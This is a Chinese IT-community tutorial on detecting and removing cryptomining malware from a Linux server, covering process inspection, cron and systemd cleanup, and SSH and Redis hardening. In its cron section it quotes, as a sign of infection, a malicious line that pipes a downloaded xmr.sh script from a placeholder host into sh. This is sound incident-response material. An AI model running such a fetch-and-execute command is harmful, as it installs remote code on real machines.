服务器感染挖矿病毒最明显的特征是CPU使用率飙升。我们需要登录服务器执行命令查看当前资源占用情况。请直接执行以下命令:
```bash top ```在输出的列表中,重点关注%CPU这一列。如果发现某个进程(通常名称伪装成系统进程,如 kdevtmpfsi、kinsing、xmrig、sync 等)长期占用100%或接近100%的CPU,且PID(进程ID)不断变化,这极大概率就是挖矿病毒。
记录下该异常进程的PID。为了更清晰地查看进程树,找到父进程,建议执行:
```bash pstree -p | grep [异常进程名称] ```或者使用 ps 命令查看详细信息:
```bash ps -ef | grep [异常进程名称] ```找到异常PID后,不要急着直接杀掉进程,因为很多挖矿病毒存在守护进程,杀掉后会立即重启。我们需要先找到病毒实体文件和隐藏的恶意脚本。
执行以下命令查看进程对应的可执行文件路径:
```bash ls -l /proc/[异常PID]/exe ```输出结果中箭头指向的路径即为病毒文件位置,例如 /tmp/kdevtmpfsi。请记录下这个完整路径。
接下来,查看该进程打开的网络连接,确认矿池连接地址:
```bash netstat -antp | grep [异常PID] ```或者使用 ss 命令(推荐):
```bash ss -antp | grep [异常PID] ```这会显示出病毒连接的远程IP和端口,通常是国外的矿池地址。
为了防止病毒在清理过程中再次写入文件或执行脚本,我们需要先冻结进程,而不是直接杀死。执行:
```bash kill -stop [异常PID] ```如果存在父进程(PPID),同样需要冻结:
```bash kill -stop [异常PPID] ```很多挖矿病毒会使用 chattr 命令给病毒文件加上 +i(不可变)属性,导致直接 rm -f 无法删除。我们需要先尝试解除这个属性。进入病毒文件所在目录,执行:
```bash chattr -i [病毒文件名] chattr -a [病毒文件名] ```如果提示 chattr: Operation not permitted,说明当前权限不够,请使用 sudo 或切换到 root 用户执行。
解除保护后,强制删除病毒可执行文件:
```bash rm -f [病毒文件完整路径] ```接下来是最关键的一步:清理定时任务(Cron)。挖矿病毒通常通过Cron任务实现持久化,每分钟重新下载和运行病毒。必须检查所有用户的定时任务。
1. 检查当前用户的定时任务:
```bash crontab -l ```2. 检查系统级定时任务目录(这是重灾区,必须逐个检查):
```bash cat /etc/crontab ls /etc/cron.d/ ```使用 cat 命令查看 /etc/cron.d/ 目录下的每一个文件内容:
```bash cat /etc/cron.d/[文件名] ```
如果看到类似 wget http://xxx/xmr.sh | sh 或者 curl -fsSL http://xxx/xmr.sh | sh 的内容,这就是恶意下载脚本。使用 vi 或直接删除该文件:
```bash rm -f /etc/cron.d/[恶意文件名] ```3. 同样需要检查 /var/spool/cron/ 和 /etc/cron.hourly/ 等目录:
```bash ls /var/spool/cron/ cat /var/spool/cron/[用户名] ls /etc/cron.hourly/ ```4. 清理恶意脚本文件。根据定时任务中找到的URL或路径,找到下载下来的脚本(通常在 /tmp/、/var/tmp/ 或 /root/ 下),一并删除。
除了定时任务,病毒还可能修改系统启动项。检查 /etc/rc.local 文件:
```bash cat /etc/rc.local ```如果有未知的执行命令,使用 vi 编辑器删除该行。
检查 systemd 服务列表:
```bash systemctl list-unit-files | grep enabled ```寻找名称可疑的服务(如 crypto.service、miner.service)。如果发现,执行以下命令禁用并删除:
```bash systemctl stop [可疑服务名] systemctl disable [可疑服务名] rm -f /etc/systemd/system/[可疑服务名].service systemctl daemon-reload ```排查入侵源头。挖矿病毒通常通过Redis未授权访问或SSH弱口令入侵。检查SSH日志:
```bash grep "Failed password" /var/log/secure | tail -n 20 ```检查Redis是否暴露在公网且无密码:
```bash netstat -antp | grep 6379 ```如果Redis监听在 0.0.0.0:6379,必须立即配置防火墙规则限制访问,或修改 redis.conf 绑定本地IP并设置强密码。
手动清理后,建议安装杀毒软件进行全盘扫描,确保没有遗漏。这里使用 ClamAV,它是Linux下开源的反病毒引擎。
1. 安装 ClamAV:
```bash CentOS/RHEL yum install epel-release -y yum install clamav clamav-update -y Ubuntu/Debian apt-get update apt-get install clamav clamav-daemon -y ```2. 更新病毒库:
```bash freshclam ```3. 执行全盘扫描(扫描根目录,并记录感染文件到日志):
```bash clamscan -r / --infected -l /var/log/clamav-scan.log ```扫描完成后,查看日志:
```bash cat /var/log/clamav-scan.log ```进行系统加固。修改SSH默认端口(不建议使用22),并禁止Root直接远程登录。
编辑SSH配置文件:
```bash vi /etc/ssh/sshd_config ```修改以下参数:
```text Port 22222 修改为高位端口 PermitRootLogin no 禁止root登录 PasswordAuthentication no 建议配置密钥登录后关闭密码登录 ```重启SSH服务:
```bash systemctl restart sshd ```至此,服务器挖矿病毒的查杀与系统加固工作已全部完成。请持续观察服务器CPU占用情况,确保病毒已被彻底清除。
易频IT社区是综合性互联网IT技术门户网站,专注分享网络技术、服务器运维、网络安全、编程开发、系统架构、云计算、大数据等行业干货,实时更新IT行业资讯、零基础教程、实战案例,为IT从业者、技术爱好者提供专业的学习交流平台。
Copyright © 2021-2026 易频IT社区. All Rights Reserved. 备案号:闽ICP备2023013482号 网站地图